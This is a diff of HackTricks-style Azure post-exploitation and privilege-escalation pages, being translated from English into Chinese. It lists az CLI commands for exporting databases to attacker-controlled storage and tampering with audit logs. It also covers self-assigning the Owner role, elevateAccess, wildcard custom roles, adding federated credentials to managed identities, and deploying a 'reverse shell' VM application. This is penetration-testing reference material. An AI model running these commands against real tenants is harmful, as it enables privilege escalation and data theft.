拥有在 Azure Service Bus 命名空间中创建或修改主题权限的攻击者可以利用这一点来干扰消息工作流、暴露敏感数据或启用未经授权的操作。使用诸如 az servicebus topic update 的命令,他们可以操纵配置,例如启用分区以滥用可扩展性、修改 TTL 设置以不当保留或丢弃消息,或禁用重复检测以绕过控制。此外,他们还可以调整主题大小限制、改变状态以干扰可用性,或配置快速主题以暂时存储拦截的消息,使主题管理成为后期利用缓解的关键重点。
|
||||
```bash
|
||||
az servicebus topic create --resource-group <ResourceGroupName> --namespace-name <NamespaceName> --name <TopicName>
|
||||
az servicebus topic update --resource-group <ResourceGroupName> --namespace-name <NamespaceName> --name <TopicName>
|
||||
```
|
||||
|
||||
### Actions: `Microsoft.ServiceBus/namespaces/topics/subscriptions/write` (`Microsoft.ServiceBus/namespaces/topics/subscriptions/read`)
|
||||
|
||||
An attacker with permissions to create or modify subscriptions (to modiffy the subscription you will also need the Action: `Microsoft.ServiceBus/namespaces/topics/subscriptions/read`) within an Azure Service Bus topic can exploit this to intercept, reroute, or disrupt message workflows. Using commands like az servicebus topic subscription update, they can manipulate configurations such as enabling dead lettering to divert messages, forwarding messages to unauthorized endpoints, or modifying TTL and lock duration to retain or interfere with message delivery. Additionally, they can alter status or max delivery count settings to disrupt operations or evade detection, making subscription control a critical aspect of post-exploitation scenarios.
|
||||
|
||||
拥有创建或修改订阅权限的攻击者(要修改订阅,您还需要操作:`Microsoft.ServiceBus/namespaces/topics/subscriptions/read`)可以利用这一点在 Azure Service Bus 主题中拦截、重定向或干扰消息工作流。使用诸如 az servicebus topic subscription update 的命令,他们可以操控配置,例如启用死信以转移消息,将消息转发到未经授权的端点,或修改 TTL 和锁定持续时间以保留或干扰消息传递。此外,他们可以更改状态或最大交付计数设置,以干扰操作或逃避检测,使订阅控制成为后期利用场景中的关键方面。
|
||||
```bash
|
||||
az servicebus topic subscription create --resource-group <ResourceGroupName> --namespace-name <NamespaceName> --topic-name <TopicName> --name <SubscriptionName>
|
||||
az servicebus topic subscription update --resource-group <ResourceGroupName> --namespace-name <NamespaceName> --topic-name <TopicName> --name <SubscriptionName>
|
||||
```
|
||||
### 操作: `AuthorizationRules` 发送和接收消息
|
||||
|
||||
### Actions: `AuthorizationRules` Send & Recive Messages
|
||||
|
||||
Take a look here:
|
||||
请查看这里:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-queue-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## 参考文献
|
||||
|
||||
- https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues
|
||||
- https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api
|
||||
@@ -97,7 +81,3 @@ Take a look here:
|
||||
- https://learn.microsoft.com/en-us/cli/azure/servicebus/queue?view=azure-cli-latest
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+34
-50
@@ -1,10 +1,10 @@
|
||||
# Az - SQL Database Post Exploitation
|
||||
# Az - SQL 数据库后期利用
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SQL Database Post Exploitation
|
||||
## SQL 数据库后期利用
|
||||
|
||||
For more information about SQL Database check:
|
||||
有关 SQL 数据库的更多信息,请查看:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-sql.md
|
||||
@@ -12,8 +12,7 @@ For more information about SQL Database check:
|
||||
|
||||
### "Microsoft.Sql/servers/databases/read", "Microsoft.Sql/servers/read" && "Microsoft.Sql/servers/databases/write"
|
||||
|
||||
With these permissions, an attacker can create and update databases within the compromised environment. This post-exploitation activity could allow an attacker to add malicious data, modify database configurations, or insert backdoors for further persistence, potentially disrupting operations or enabling additional malicious actions.
|
||||
|
||||
拥有这些权限后,攻击者可以在被攻陷的环境中创建和更新数据库。这种后期利用活动可能允许攻击者添加恶意数据、修改数据库配置或插入后门以实现进一步的持久性,可能会干扰操作或启用其他恶意行为。
|
||||
```bash
|
||||
# Create Database
|
||||
az sql db create --resource-group <resource-group> --server <server-name> --name <new-database-name>
|
||||
@@ -21,73 +20,63 @@ az sql db create --resource-group <resource-group> --server <server-name> --name
|
||||
# Update Database
|
||||
az sql db update --resource-group <resource-group> --server <server-name> --name <database-name> --max-size <max-size-in-bytes>
|
||||
```
|
||||
|
||||
### "Microsoft.Sql/servers/elasticPools/write" && "Microsoft.Sql/servers/elasticPools/read"
|
||||
|
||||
With these permissions, an attacker can create and update elasticPools within the compromised environment. This post-exploitation activity could allow an attacker to add malicious data, modify database configurations, or insert backdoors for further persistence, potentially disrupting operations or enabling additional malicious actions.
|
||||
|
||||
通过这些权限,攻击者可以在被攻陷的环境中创建和更新 elasticPools。这种后期利用活动可能允许攻击者添加恶意数据、修改数据库配置或插入后门以实现进一步的持久性,可能会干扰操作或启用其他恶意行为。
|
||||
```bash
|
||||
# Create Elastic Pool
|
||||
az sql elastic-pool create \
|
||||
--name <new-elastic-pool-name> \
|
||||
--server <server-name> \
|
||||
--resource-group <resource-group> \
|
||||
--edition <edition> \
|
||||
--dtu <dtu-value>
|
||||
--name <new-elastic-pool-name> \
|
||||
--server <server-name> \
|
||||
--resource-group <resource-group> \
|
||||
--edition <edition> \
|
||||
--dtu <dtu-value>
|
||||
|
||||
# Update Elastic Pool
|
||||
az sql elastic-pool update \
|
||||
--name <elastic-pool-name> \
|
||||
--server <server-name> \
|
||||
--resource-group <resource-group> \
|
||||
--dtu <new-dtu-value> \
|
||||
--tags <key=value>
|
||||
--name <elastic-pool-name> \
|
||||
--server <server-name> \
|
||||
--resource-group <resource-group> \
|
||||
--dtu <new-dtu-value> \
|
||||
--tags <key=value>
|
||||
```
|
||||
|
||||
### "Microsoft.Sql/servers/auditingSettings/read" && "Microsoft.Sql/servers/auditingSettings/write"
|
||||
|
||||
With this permission, you can modify or enable auditing settings on an Azure SQL Server. This could allow an attacker or authorized user to manipulate audit configurations, potentially covering tracks or redirecting audit logs to a location under their control. This can hinder security monitoring or enable it to keep track of the actions. NOTE: To enable auditing for an Azure SQL Server using Blob Storage, you must attach a storage account where the audit logs can be saved.
|
||||
|
||||
通过此权限,您可以修改或启用 Azure SQL Server 上的审计设置。这可能允许攻击者或授权用户操纵审计配置,从而潜在地掩盖痕迹或将审计日志重定向到他们控制的位置。这可能会妨碍安全监控或使其能够跟踪操作。注意:要使用 Blob 存储为 Azure SQL Server 启用审计,您必须附加一个可以保存审计日志的存储帐户。
|
||||
```bash
|
||||
az sql server audit-policy update \
|
||||
--server <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--state Enabled \
|
||||
--storage-account <storage_account_name> \
|
||||
--retention-days 7
|
||||
--server <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--state Enabled \
|
||||
--storage-account <storage_account_name> \
|
||||
--retention-days 7
|
||||
```
|
||||
|
||||
### "Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read", "Microsoft.Sql/servers/connectionPolicies/read" && "Microsoft.Sql/servers/connectionPolicies/write"
|
||||
|
||||
With this permission, you can modify the connection policies of an Azure SQL Server. This capability can be exploited to enable or change server-level connection settings
|
||||
|
||||
拥有此权限,您可以修改 Azure SQL Server 的连接策略。此功能可被利用来启用或更改服务器级连接设置。
|
||||
```bash
|
||||
az sql server connection-policy update \
|
||||
--server <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--connection-type <Proxy|Redirect|Default>
|
||||
--server <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--connection-type <Proxy|Redirect|Default>
|
||||
```
|
||||
|
||||
### "Microsoft.Sql/servers/databases/export/action"
|
||||
|
||||
With this permission, you can export a database from an Azure SQL Server to a storage account. An attacker or authorized user with this permission can exfiltrate sensitive data from the database by exporting it to a location they control, posing a significant data breach risk. It is important to know the storage key to be able to perform this.
|
||||
|
||||
拥有此权限,您可以将数据库从 Azure SQL Server 导出到存储帐户。具有此权限的攻击者或授权用户可以通过将其导出到他们控制的位置来提取数据库中的敏感数据,从而带来重大数据泄露风险。了解存储密钥以便能够执行此操作非常重要。
|
||||
```bash
|
||||
az sql db export \
|
||||
--server <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--name <database_name> \
|
||||
--storage-uri <storage_blob_uri> \
|
||||
--storage-key-type SharedAccessKey \
|
||||
--admin-user <admin_username> \
|
||||
--admin-password <admin_password>
|
||||
--server <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--name <database_name> \
|
||||
--storage-uri <storage_blob_uri> \
|
||||
--storage-key-type SharedAccessKey \
|
||||
--admin-user <admin_username> \
|
||||
--admin-password <admin_password>
|
||||
|
||||
```
|
||||
|
||||
### "Microsoft.Sql/servers/databases/import/action"
|
||||
|
||||
With this permission, you can import a database into an Azure SQL Server. An attacker or authorized user with this permission can potentially upload malicious or manipulated databases. This can lead to gaining control over sensitive data or by embedding harmful scripts or triggers within the imported database. Additionaly you can import it to your own server in azure. Note: The server must allow Azure services and resources to access the server.
|
||||
|
||||
拥有此权限,您可以将数据库导入到 Azure SQL Server。攻击者或拥有此权限的授权用户可能会上传恶意或被篡改的数据库。这可能导致控制敏感数据,或通过在导入的数据库中嵌入有害脚本或触发器。此外,您可以将其导入到您自己的 Azure 服务器。注意:服务器必须允许 Azure 服务和资源访问该服务器。
|
||||
```bash
|
||||
az sql db import --admin-user <admin-user> \
|
||||
--admin-password <admin-password> \
|
||||
@@ -98,9 +87,4 @@ az sql db import --admin-user <admin-user> \
|
||||
--storage-key <storage-account-key> \
|
||||
--storage-uri "https://<storage-account-name>.blob.core.windows.net/bacpac-container/MyDatabase.bacpac"
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+25
-33
@@ -1,10 +1,10 @@
|
||||
# Az - Table Storage Post Exploitation
|
||||
# Az - 表存储后渗透
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Table Storage Post Exploitation
|
||||
## 表存储后渗透
|
||||
|
||||
For more information about table storage check:
|
||||
有关表存储的更多信息,请查看:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-table-storage.md
|
||||
@@ -12,57 +12,49 @@ For more information about table storage check:
|
||||
|
||||
### Microsoft.Storage/storageAccounts/tableServices/tables/entities/read
|
||||
|
||||
A principal with this permission will be able to **list** the tables inside a table storage and **read the info** which might contain **sensitive information**.
|
||||
|
||||
具有此权限的主体将能够**列出**表存储中的表并**读取信息**,这些信息可能包含**敏感信息**。
|
||||
```bash
|
||||
# List tables
|
||||
az storage table list --auth-mode login --account-name <name>
|
||||
|
||||
# Read table (top 10)
|
||||
az storage entity query \
|
||||
--account-name <name> \
|
||||
--table-name <t-name> \
|
||||
--auth-mode login \
|
||||
--top 10
|
||||
--account-name <name> \
|
||||
--table-name <t-name> \
|
||||
--auth-mode login \
|
||||
--top 10
|
||||
```
|
||||
|
||||
### Microsoft.Storage/storageAccounts/tableServices/tables/entities/write | Microsoft.Storage/storageAccounts/tableServices/tables/entities/add/action | Microsoft.Storage/storageAccounts/tableServices/tables/entities/update/action
|
||||
|
||||
A principal with this permission will be able to **write and overwrite entries in tables** which might allow him to cause some damage or even escalate privileges (e.g. overwrite some trusted data that could abuse some injection vulnerability in the app using it).
|
||||
|
||||
- The permission `Microsoft.Storage/storageAccounts/tableServices/tables/entities/write` allows all the actions.
|
||||
- The permission `Microsoft.Storage/storageAccounts/tableServices/tables/entities/add/action` allows to **add** entries
|
||||
- The permission `Microsoft.Storage/storageAccounts/tableServices/tables/entities/update/action` allows to **update** existing entries
|
||||
具有此权限的主体将能够**在表中写入和覆盖条目**,这可能使他造成一些损害甚至提升权限(例如,覆盖一些可信数据,可能会利用使用它的应用程序中的某些注入漏洞)。
|
||||
|
||||
- 权限`Microsoft.Storage/storageAccounts/tableServices/tables/entities/write`允许所有操作。
|
||||
- 权限`Microsoft.Storage/storageAccounts/tableServices/tables/entities/add/action`允许**添加**条目。
|
||||
- 权限`Microsoft.Storage/storageAccounts/tableServices/tables/entities/update/action`允许**更新**现有条目。
|
||||
```bash
|
||||
# Add
|
||||
az storage entity insert \
|
||||
--account-name <acc-name> \
|
||||
--table-name <t-name> \
|
||||
--auth-mode login \
|
||||
--entity PartitionKey=HR RowKey=12345 Name="John Doe" Age=30 Title="Manager"
|
||||
--account-name <acc-name> \
|
||||
--table-name <t-name> \
|
||||
--auth-mode login \
|
||||
--entity PartitionKey=HR RowKey=12345 Name="John Doe" Age=30 Title="Manager"
|
||||
|
||||
# Replace
|
||||
az storage entity replace \
|
||||
--account-name <acc-name> \
|
||||
--table-name <t-name> \
|
||||
--auth-mode login \
|
||||
--entity PartitionKey=HR RowKey=12345 Name="John Doe" Age=30 Title="Manager"
|
||||
--account-name <acc-name> \
|
||||
--table-name <t-name> \
|
||||
--auth-mode login \
|
||||
--entity PartitionKey=HR RowKey=12345 Name="John Doe" Age=30 Title="Manager"
|
||||
|
||||
# Update
|
||||
az storage entity merge \
|
||||
--account-name <acc-name> \
|
||||
--table-name <t-name> \
|
||||
--auth-mode login \
|
||||
--entity PartitionKey=HR RowKey=12345 Name="John Doe" Age=30 Title="Manager"
|
||||
--account-name <acc-name> \
|
||||
--table-name <t-name> \
|
||||
--auth-mode login \
|
||||
--entity PartitionKey=HR RowKey=12345 Name="John Doe" Age=30 Title="Manager"
|
||||
```
|
||||
|
||||
### \*/delete
|
||||
|
||||
This would allow to delete file inside the shared filesystem which might **interrupt some services** or make the client **lose valuable information**.
|
||||
这将允许删除共享文件系统中的文件,这可能会**中断某些服务**或使客户端**丢失有价值的信息**。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+71
-97
@@ -4,94 +4,81 @@
|
||||
|
||||
## VMs & Network
|
||||
|
||||
For more info about Azure VMs and networking check the following page:
|
||||
有关 Azure VMs 和网络的更多信息,请查看以下页面:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/vms/
|
||||
{{#endref}}
|
||||
|
||||
### VM Application Pivoting
|
||||
### VM 应用程序转发
|
||||
|
||||
VM applications can be shared with other subscriptions and tenants. If an application is being shared it's probably because it's being used. So if the attacker manages to **compromise the application and uploads a backdoored** version it might be possible that it will be **executed in another tenant or subscription**.
|
||||
VM 应用程序可以与其他订阅和租户共享。如果一个应用程序正在被共享,可能是因为它正在被使用。因此,如果攻击者成功地 **破坏了应用程序并上传了一个后门** 版本,可能会 **在另一个租户或订阅中执行**。
|
||||
|
||||
### Sensitive information in images
|
||||
### 图像中的敏感信息
|
||||
|
||||
It might be possible to find **sensitive information inside images** taken from VMs in the past.
|
||||
|
||||
1. **List images** from galleries
|
||||
可能会发现 **过去从 VMs 拍摄的图像中包含敏感信息**。
|
||||
|
||||
1. **列出图库中的图像**
|
||||
```bash
|
||||
# Get galleries
|
||||
az sig list -o table
|
||||
|
||||
# List images inside gallery
|
||||
az sig image-definition list \
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--gallery-name <GALLERY_NAME> \
|
||||
-o table
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--gallery-name <GALLERY_NAME> \
|
||||
-o table
|
||||
|
||||
# Get images versions
|
||||
az sig image-version list \
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--gallery-name <GALLERY_NAME> \
|
||||
--gallery-image-definition <IMAGE_DEFINITION> \
|
||||
-o table
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--gallery-name <GALLERY_NAME> \
|
||||
--gallery-image-definition <IMAGE_DEFINITION> \
|
||||
-o table
|
||||
```
|
||||
|
||||
2. **List custom images**
|
||||
|
||||
2. **列出自定义镜像**
|
||||
```bash
|
||||
az image list -o table
|
||||
```
|
||||
|
||||
3. **Create VM from image ID** and search for sensitive info inside of it
|
||||
|
||||
3. **从镜像 ID 创建 VM** 并在其中搜索敏感信息
|
||||
```bash
|
||||
# Create VM from image
|
||||
az vm create \
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--name <VM_NAME> \
|
||||
--image /subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP>/providers/Microsoft.Compute/galleries/<GALLERY_NAME>/images/<IMAGE_DEFINITION>/versions/<IMAGE_VERSION> \
|
||||
--admin-username <ADMIN_USERNAME> \
|
||||
--generate-ssh-keys
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--name <VM_NAME> \
|
||||
--image /subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP>/providers/Microsoft.Compute/galleries/<GALLERY_NAME>/images/<IMAGE_DEFINITION>/versions/<IMAGE_VERSION> \
|
||||
--admin-username <ADMIN_USERNAME> \
|
||||
--generate-ssh-keys
|
||||
```
|
||||
### 恢复点中的敏感信息
|
||||
|
||||
### Sensitive information in restore points
|
||||
|
||||
It might be possible to find **sensitive information inside restore points**.
|
||||
|
||||
1. **List restore points**
|
||||
可能会在**恢复点中找到敏感信息**。
|
||||
|
||||
1. **列出恢复点**
|
||||
```bash
|
||||
az restore-point list \
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--restore-point-collection-name <COLLECTION_NAME> \
|
||||
-o table
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--restore-point-collection-name <COLLECTION_NAME> \
|
||||
-o table
|
||||
```
|
||||
|
||||
2. **Create a disk** from a restore point
|
||||
|
||||
2. **从还原点创建磁盘**
|
||||
```bash
|
||||
az disk create \
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--name <NEW_DISK_NAME> \
|
||||
--source /subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP>/providers/Microsoft.Compute/restorePointCollections/<COLLECTION_NAME>/restorePoints/<RESTORE_POINT_NAME>
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--name <NEW_DISK_NAME> \
|
||||
--source /subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP>/providers/Microsoft.Compute/restorePointCollections/<COLLECTION_NAME>/restorePoints/<RESTORE_POINT_NAME>
|
||||
```
|
||||
|
||||
3. **Attach the disk to a VM** (the attacker needs to have compromised a VM inside the account already)
|
||||
|
||||
3. **将磁盘附加到虚拟机**(攻击者需要已经入侵了帐户内的虚拟机)
|
||||
```bash
|
||||
az vm disk attach \
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--vm-name <VM_NAME> \
|
||||
--name <DISK_NAME>
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--vm-name <VM_NAME> \
|
||||
--name <DISK_NAME>
|
||||
```
|
||||
|
||||
4. **Mount** the disk and **search for sensitive info**
|
||||
4. **挂载**磁盘并**搜索敏感信息**
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Linux" }}
|
||||
|
||||
```bash
|
||||
# List all available disks
|
||||
sudo fdisk -l
|
||||
@@ -103,83 +90,70 @@ sudo file -s /dev/sdX
|
||||
sudo mkdir /mnt/mydisk
|
||||
sudo mount /dev/sdX1 /mnt/mydisk
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Windows" }}
|
||||
|
||||
#### **1. Open Disk Management**
|
||||
#### **1. 打开磁盘管理**
|
||||
|
||||
1. Right-click **Start** and select **Disk Management**.
|
||||
2. The attached disk should appear as **Offline** or **Unallocated**.
|
||||
1. 右键单击 **开始**,选择 **磁盘管理**。
|
||||
2. 附加的磁盘应显示为 **离线** 或 **未分配**。
|
||||
|
||||
#### **2. Bring the Disk Online**
|
||||
#### **2. 将磁盘上线**
|
||||
|
||||
1. Locate the disk in the bottom pane.
|
||||
2. Right-click the disk (e.g., **Disk 1**) and select **Online**.
|
||||
1. 在底部窗格中找到磁盘。
|
||||
2. 右键单击磁盘(例如,**磁盘 1**)并选择 **在线**。
|
||||
|
||||
#### **3. Initialize the Disk**
|
||||
#### **3. 初始化磁盘**
|
||||
|
||||
1. If the disk is not initialized, right-click and select **Initialize Disk**.
|
||||
2. Choose the partition style:
|
||||
- **MBR** (Master Boot Record) or **GPT** (GUID Partition Table). GPT is recommended for modern systems.
|
||||
1. 如果磁盘未初始化,右键单击并选择 **初始化磁盘**。
|
||||
2. 选择分区样式:
|
||||
- **MBR**(主引导记录)或 **GPT**(GUID 分区表)。建议现代系统使用 GPT。
|
||||
|
||||
#### **4. Create a New Volume**
|
||||
#### **4. 创建新卷**
|
||||
|
||||
1. Right-click the unallocated space on the disk and select **New Simple Volume**.
|
||||
2. Follow the wizard to:
|
||||
- Assign a drive letter (e.g., `D:`).
|
||||
- Format the disk (choose NTFS for most cases).
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
1. 右键单击磁盘上的未分配空间,选择 **新建简单卷**。
|
||||
2. 按照向导操作:
|
||||
- 分配驱动器字母(例如,`D:`)。
|
||||
- 格式化磁盘(大多数情况下选择 NTFS)。
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Sensitive information in disks & snapshots
|
||||
### 磁盘和快照中的敏感信息
|
||||
|
||||
It might be possible to find **sensitive information inside disks or even old disk's snapshots**.
|
||||
|
||||
1. **List snapshots**
|
||||
可能会在 **磁盘或旧磁盘快照中找到敏感信息**。
|
||||
|
||||
1. **列出快照**
|
||||
```bash
|
||||
az snapshot list \
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
-o table
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
-o table
|
||||
```
|
||||
|
||||
2. **Create disk from snapshot** (if needed)
|
||||
|
||||
2. **从快照创建磁盘**(如有需要)
|
||||
```bash
|
||||
az disk create \
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--name <DISK_NAME> \
|
||||
--source <SNAPSHOT_ID> \
|
||||
--size-gb <DISK_SIZE>
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--name <DISK_NAME> \
|
||||
--source <SNAPSHOT_ID> \
|
||||
--size-gb <DISK_SIZE>
|
||||
```
|
||||
3. **将磁盘附加并挂载**到虚拟机并搜索敏感信息(查看上一节以了解如何执行此操作)
|
||||
|
||||
3. **Attach and mount the disk** to a VM and search for sensitive information (check the previous section to see how to do this)
|
||||
### 虚拟机扩展和虚拟机应用中的敏感信息
|
||||
|
||||
### Sensitive information in VM Extensions & VM Applications
|
||||
|
||||
It might be possible to find **sensitive information inside VM extensions and VM applications**.
|
||||
|
||||
1. **List all VM apps**
|
||||
可能会在**虚拟机扩展和虚拟机应用中找到敏感信息**。
|
||||
|
||||
1. **列出所有虚拟机应用**
|
||||
```bash
|
||||
## List all VM applications inside a gallery
|
||||
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table
|
||||
```
|
||||
|
||||
2. Install the extension in a VM and **search for sensitive info**
|
||||
|
||||
2. 在虚拟机中安装扩展并**搜索敏感信息**
|
||||
```bash
|
||||
az vm application set \
|
||||
--resource-group <rsc-group> \
|
||||
--name <vm-name> \
|
||||
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \
|
||||
--treat-deployment-as-failure true
|
||||
--resource-group <rsc-group> \
|
||||
--name <vm-name> \
|
||||
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \
|
||||
--treat-deployment-as-failure true
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,6 +1 @@
|
||||
# Az - Privilege Escalation
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
# Az - 权限提升
|
||||
|
||||
+4
-12
@@ -4,7 +4,7 @@
|
||||
|
||||
## App Services
|
||||
|
||||
For more information about Azure App services check:
|
||||
有关 Azure 应用服务的更多信息,请查看:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-app-service.md
|
||||
@@ -12,17 +12,14 @@ For more information about Azure App services check:
|
||||
|
||||
### Microsoft.Web/sites/publish/Action, Microsoft.Web/sites/basicPublishingCredentialsPolicies/read, Microsoft.Web/sites/config/read, Microsoft.Web/sites/read, 
|
||||
|
||||
These permissions allows to call the following commands to get a **SSH shell** inside a web app
|
||||
|
||||
- Direct option:
|
||||
这些权限允许调用以下命令以获取 **SSH shell** 进入 web 应用
|
||||
|
||||
- 直接选项:
|
||||
```bash
|
||||
# Direct option
|
||||
az webapp ssh --name <name> --resource-group <res-group>
|
||||
```
|
||||
|
||||
- Create tunnel and then connect to SSH:
|
||||
|
||||
- 创建隧道然后连接到SSH:
|
||||
```bash
|
||||
az webapp create-remote-connection --name <name> --resource-group <res-group>
|
||||
|
||||
@@ -35,9 +32,4 @@ az webapp create-remote-connection --name <name> --resource-group <res-group>
|
||||
## So from that machine ssh into that port (you might need generate a new ssh session to the jump host)
|
||||
ssh root@127.0.0.1 -p 39895
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+23
-37
@@ -4,7 +4,7 @@
|
||||
|
||||
## Azure IAM
|
||||
|
||||
Fore more information check:
|
||||
更多信息请查看:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-azuread.md
|
||||
@@ -12,45 +12,38 @@ Fore more information check:
|
||||
|
||||
### Microsoft.Authorization/roleAssignments/write
|
||||
|
||||
This permission allows to assign roles to principals over a specific scope, allowing an attacker to escalate privileges by assigning himself a more privileged role:
|
||||
|
||||
此权限允许在特定范围内将角色分配给主体,使攻击者能够通过为自己分配更高权限的角色来提升权限:
|
||||
```bash
|
||||
# Example
|
||||
az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"
|
||||
```
|
||||
|
||||
### Microsoft.Authorization/roleDefinitions/Write
|
||||
|
||||
This permission allows to modify the permissions granted by a role, allowing an attacker to escalate privileges by granting more permissions to a role he has assigned.
|
||||
|
||||
Create the file `role.json` with the following **content**:
|
||||
此权限允许修改角色授予的权限,使攻击者能够通过向其分配的角色授予更多权限来提升特权。
|
||||
|
||||
创建文件 `role.json`,内容如下:
|
||||
```json
|
||||
{
|
||||
"Name": "<name of the role>",
|
||||
"IsCustom": true,
|
||||
"Description": "Custom role with elevated privileges",
|
||||
"Actions": ["*"],
|
||||
"NotActions": [],
|
||||
"DataActions": ["*"],
|
||||
"NotDataActions": [],
|
||||
"AssignableScopes": ["/subscriptions/<subscription-id>"]
|
||||
"Name": "<name of the role>",
|
||||
"IsCustom": true,
|
||||
"Description": "Custom role with elevated privileges",
|
||||
"Actions": ["*"],
|
||||
"NotActions": [],
|
||||
"DataActions": ["*"],
|
||||
"NotDataActions": [],
|
||||
"AssignableScopes": ["/subscriptions/<subscription-id>"]
|
||||
}
|
||||
```
|
||||
|
||||
Then update the role permissions with the previous definition calling:
|
||||
|
||||
然后使用之前的定义更新角色权限,调用:
|
||||
```bash
|
||||
az role definition update --role-definition role.json
|
||||
```
|
||||
|
||||
### Microsoft.Authorization/elevateAccess/action
|
||||
|
||||
This permissions allows to elevate privileges and be able to assign permissions to any principal to Azure resources. It's meant to be given to Entra ID Global Administrators so they can also manage permissions over Azure resources.
|
||||
此权限允许提升特权,并能够将权限分配给任何主体以访问 Azure 资源。它旨在授予 Entra ID 全局管理员,以便他们也可以管理 Azure 资源的权限。
|
||||
|
||||
> [!TIP]
|
||||
> I think the user need to be Global Administrator in Entrad ID for the elevate call to work.
|
||||
|
||||
> 我认为用户需要是 Entra ID 的全局管理员,以便提升调用能够正常工作。
|
||||
```bash
|
||||
# Call elevate
|
||||
az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"
|
||||
@@ -58,29 +51,22 @@ az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Au
|
||||
# Grant a user the Owner role
|
||||
az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"
|
||||
```
|
||||
|
||||
### Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write
|
||||
|
||||
This permission allows to add Federated credentials to managed identities. E.g. give access to Github Actions in a repo to a managed identity. Then, it allows to **access any user defined managed identity**.
|
||||
|
||||
Example command to give access to a repo in Github to the a managed identity:
|
||||
此权限允许将联邦凭据添加到托管身份。例如,允许在存储库中将Github Actions的访问权限授予托管身份。然后,它允许**访问任何用户定义的托管身份**。
|
||||
|
||||
示例命令,将存储库的访问权限授予托管身份:
|
||||
```bash
|
||||
# Generic example:
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com//subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>/federatedIdentityCredentials/<name-new-federated-creds>?api-version=2023-01-31" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>","audiences":["api://AzureADTokenExchange"]}}'
|
||||
--uri "https://management.azure.com//subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>/federatedIdentityCredentials/<name-new-federated-creds>?api-version=2023-01-31" \
|
||||
--headers "Content-Type=application/json" \
|
||||
